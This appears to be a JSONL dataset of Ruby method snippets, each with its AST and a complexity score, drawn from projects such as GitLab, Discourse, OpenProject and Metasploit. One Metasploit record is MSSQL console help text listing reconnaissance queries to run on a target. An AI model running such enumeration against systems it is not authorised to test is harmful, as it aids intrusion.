{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_around_equals_in_parameter_default.rb","start_line":67,"raw_source":"def autocorrect(corrector, range)\n          m = range.source.match(/=\\s*(\\S+)/)\n          rest = m ? m.captures[0] : ''\n          replacement = style == :space ? ' = ' : '='\n\n          corrector.replace(range, replacement + rest)\n        end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"source\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"=\\\\s*(\\\\S+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rest\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"captures\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"space\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"str\",\"children\":[\"=\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"replacement\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"rest\"]}]}]}]}]}","id":"6056e298-266b-4ec5-8888-ae29bb1064e2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/volume_mapping.rb","start_line":82,"raw_source":"def self.raw_create_volume_mapping(_ext_management_system, _options = {})\n    raise NotImplementedError, _(\"raw_create_volume_mapping must be implemented in a subclass\")\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"raw_create_volume_mapping\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ext_management_system\"]},{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"raw_create_volume_mapping must be implemented in a subclass\"]}]}]}]}","id":"e6a1ecf5-214b-4740-9ed8-f3c5ebf8cb29"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_builder.rb","start_line":444,"raw_source":"def build_multi_page_dep_line_backward(source, target, start_page_index, finish_page_index)\n      y = source.finish_row.bottom\n      build_multi_page_dep_line_backward_start(source, y)\n      build_multi_page_dep_line_middle(source, finish_page_index, start_page_index, y)\n      build_multi_page_dep_line_backward_end(target, y)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_multi_page_dep_line_backward\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"start_page_index\"]},{\"type\":\"arg\",\"children\":[\"finish_page_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"y\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"finish_row\"]},\"bottom\"]}]},{\"type\":\"send\",\"children\":[null,\"build_multi_page_dep_line_backward_start\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"y\"]}]},{\"type\":\"send\",\"children\":[null,\"build_multi_page_dep_line_middle\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"finish_page_index\"]},{\"type\":\"lvar\",\"children\":[\"start_page_index\"]},{\"type\":\"lvar\",\"children\":[\"y\"]}]},{\"type\":\"send\",\"children\":[null,\"build_multi_page_dep_line_backward_end\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"y\"]}]}]}]}","id":"0dd5b6d0-0a5f-40d4-84c7-6a4c2374aeaf"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/set_attributes_service.rb","start_line":92,"raw_source":"def trim_name(name)\n      if name.size > 30\n        \"#{name[0..26]}...\"\n      else\n        name\n      end\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"trim_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[26]}]}]}]},{\"type\":\"str\",\"children\":[\"...\"]}]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"039d3811-c903-4756-87fe-483620503a48"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/post_migrate/20250210032351_post_migrate_persona_to_llm_model_id.rb","start_line":3,"raw_source":"def up\n    remove_column :ai_personas, :default_llm\n    remove_column :ai_personas, :question_consolidator_llm\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"ai_personas\"]},{\"type\":\"sym\",\"children\":[\"default_llm\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"ai_personas\"]},{\"type\":\"sym\",\"children\":[\"question_consolidator_llm\"]}]}]}]}","id":"a541369b-8c90-4b6b-95fa-b56809758375"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/queries/download_link_query.rb","start_line":45,"raw_source":"def handle_errors(response)\n              error = Results::Error.new(source: self.class, payload: response)\n\n              case response\n              in { status: 300..399 }\n                Success(URI(response.headers[\"Location\"]))\n              in { status: 404 }\n                Failure(error.with(code: :not_found))\n              in { status: 403 }\n                Failure(error.with(code: :forbidden))\n              in { status: 401 }\n                Failure(error.with(code: :unauthorized))\n              else\n                Failure(error.with(code: :error))\n              end\n            end","complexity_score":20.78,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[300]},{\"type\":\"int\",\"children\":[399]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Success\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[403]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"ebd4e9dc-4d1a-4092-9879-458b3ba257d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb","start_line":84,"raw_source":"def expect_to_load_module_ancestor(options={})\n    options.assert_valid_keys(:ancestor_reference_name, :modules_path, :module_type)\n\n    ancestor_reference_name = options.fetch(:ancestor_reference_name)\n    modules_path = options.fetch(:modules_path)\n    module_type = options.fetch(:module_type)\n\n    loader = loader_for_modules_path(modules_path)\n    loaded = loader.load_module(modules_path, module_type, ancestor_reference_name)\n\n    expect(loaded).to eq(true), \"#{module_type}/#{ancestor_reference_name} failed to load from #{modules_path}\"\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_to_load_module_ancestor\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"assert_valid_keys\",{\"type\":\"sym\",\"children\":[\"ancestor_reference_name\"]},{\"type\":\"sym\",\"children\":[\"modules_path\"]},{\"type\":\"sym\",\"children\":[\"module_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ancestor_reference_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"ancestor_reference_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"modules_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"modules_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"module_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"module_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loader\",{\"type\":\"send\",\"children\":[null,\"loader_for_modules_path\",{\"type\":\"lvar\",\"children\":[\"modules_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loaded\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"load_module\",{\"type\":\"lvar\",\"children\":[\"modules_path\"]},{\"type\":\"lvar\",\"children\":[\"module_type\"]},{\"type\":\"lvar\",\"children\":[\"ancestor_reference_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"loaded\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_type\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor_reference_name\"]}]},{\"type\":\"str\",\"children\":[\" failed to load from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modules_path\"]}]}]}]}]}]}","id":"646604b2-c1cd-437e-be61-e99b7e939796"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/manifest_import/manifest.rb","start_line":59,"raw_source":"def validate_remote\n        remote.present? && URI.parse(remote).host\n      rescue URI::Error\n        false\n      end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_remote\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remote\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"remote\"]}]},\"host\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"Error\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"dfd23eab-0bd8-429f-8eb8-ff80096d89b9"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/cart/remove_out_of_stock_items.rb","start_line":51,"raw_source":"def cart_remove_line_item_service\n        Spree::Dependencies.cart_remove_line_item_service.constantize\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cart_remove_line_item_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"cart_remove_line_item_service\"]},\"constantize\"]}]}","id":"fbeca3e1-79f1-4ba7-9fe3-e8ddc82a1818"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb","start_line":24,"raw_source":"def cmd_query_help\n            print_line 'Usage: query'\n            print_line\n            print_line 'Run a single SQL query on the target.'\n            print_line @@query_opts.usage\n            print_line 'Examples:'\n            print_line\n            print_line '    query select @@version;'\n            print_line '    query select user_name();'\n            print_line '    query select name from master.dbo.sysdatabases;'\n            print_line\n          end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_query_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: query\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Run a single SQL query on the target.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@query_opts\"]},\"usage\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Examples:\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"    query select @@version;\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"    query select user_name();\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"    query select name from master.dbo.sysdatabases;\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"7d2974c8-9926-4024-880e-c9dc2a48835c"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/form_kit.rb","start_line":16,"raw_source":"def has_content?(content)\n        component.has_content?(content)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_content?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_content?\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}","id":"fafcf46a-ece8-4f3f-84d7-fa81021b2474"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/statuses.rb","start_line":91,"raw_source":"def eligible?(status)\n    status.created_at.past? &&\n      opted_into_trends?(status) &&\n      !sensitive_content?(status) &&\n      !status.reply? &&\n      valid_locale?(status.language) &&\n      (status.quote.nil? || trendable_quote?(status.quote))\n  end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"eligible?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"created_at\"]},\"past?\"]},{\"type\":\"send\",\"children\":[null,\"opted_into_trends?\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sensitive_content?\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reply?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"valid_locale?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"language\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"quote\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"trendable_quote?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"quote\"]}]}]}]}]}]}","id":"b1b453bd-ced2-4c87-8406-1e5df6724120"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/application_setting_implementation.rb","start_line":423,"raw_source":"def domain_allowlist_raw=(values)\n    self.domain_allowlist = strings_to_array(values)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"domain_allowlist_raw=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"domain_allowlist=\",{\"type\":\"send\",\"children\":[null,\"strings_to_array\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}","id":"8a9a7f39-1846-41bf-9774-81ef5677028b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":212,"raw_source":"def ids_for_external_storage_migration_strategy_always(limit:)\n      files_in_database.limit(limit).pluck(:id)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ids_for_external_storage_migration_strategy_always\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"limit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"files_in_database\"]},\"limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"b9689ba3-5a0d-4d8a-87ae-5dca4a423414"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/settings_sync.rb","start_line":14,"raw_source":"def initialize\n            @setting_type_to_ui_metadata_map = {\n              settings: {\n                label: 'Settings',\n                file_name: 'settings.json'\n              },\n              extensions: {\n                label: 'Extensions',\n                file_name: 'extensions.json'\n              },\n              globalState: {\n                label: 'UI State',\n                file_name: 'globalState.json'\n              }\n            }.freeze\n            super\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@setting_type_to_ui_metadata_map\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"Settings\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"str\",\"children\":[\"settings.json\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extensions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"Extensions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"str\",\"children\":[\"extensions.json\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"globalState\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"UI State\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"str\",\"children\":[\"globalState.json\"]}]}]}]}]},\"freeze\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"8d45753a-179d-48b6-9b47-67bd115f0b95"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/state_machine_store.rb","start_line":28,"raw_source":"def fetch(klass, fallback = nil)\n        stores[klass.to_s] || fallback && begin\n          match = klass.ancestors.find do |ancestor|\n            ancestor.include? AASM and stores[ancestor.to_s]\n          end\n\n          stores[match.to_s]\n        end\n      end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"optarg\",\"children\":[\"fallback\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stores\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"to_s\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fallback\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"ancestors\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ancestor\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"AASM\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stores\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stores\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"to_s\"]}]}]}]}]}]}","id":"2a268739-7489-4ca0-8b84-0849f9d85b4a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/ml/candidate_details_presenter.rb","start_line":90,"raw_source":"def link_to_artifact\n      artifact = candidate.artifact\n\n      return unless artifact.present?\n\n      url_helpers.project_package_path(candidate.project, artifact)\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"link_to_artifact\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"artifact\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"candidate\"]},\"artifact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"artifact\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"project_package_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"candidate\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"artifact\"]}]}]}]}","id":"d78aa0c3-b54e-4b99-8a91-e89c80f7ef4b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todos/snoozing_service.rb","start_line":12,"raw_source":"def snooze_todo(todo, snooze_until)\n      if todo.update(snoozed_until: snooze_until)\n        ServiceResponse.success(payload: { todo: todo })\n      else\n        ServiceResponse.error(message: todo.errors.full_messages)\n      end\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"snooze_todo\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"todo\"]},{\"type\":\"arg\",\"children\":[\"snooze_until\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todo\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"snoozed_until\"]},{\"type\":\"lvar\",\"children\":[\"snooze_until\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"todo\"]},{\"type\":\"lvar\",\"children\":[\"todo\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todo\"]},\"errors\"]},\"full_messages\"]}]}]}]}]}]}","id":"c0fd9a90-e208-4867-891d-0d34a0c38e6b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/site_text_serializer.rb","start_line":46,"raw_source":"def overridden?\n    if options[:overridden_keys]\n      options[:overridden_keys].include?(object[:id])\n    else\n      override.present?\n    end\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"overridden?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"overridden_keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"overridden_keys\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"override\"]},\"present?\"]}]}]}","id":"6ce90ba5-44cb-41db-b79b-d34d3f0b0210"}
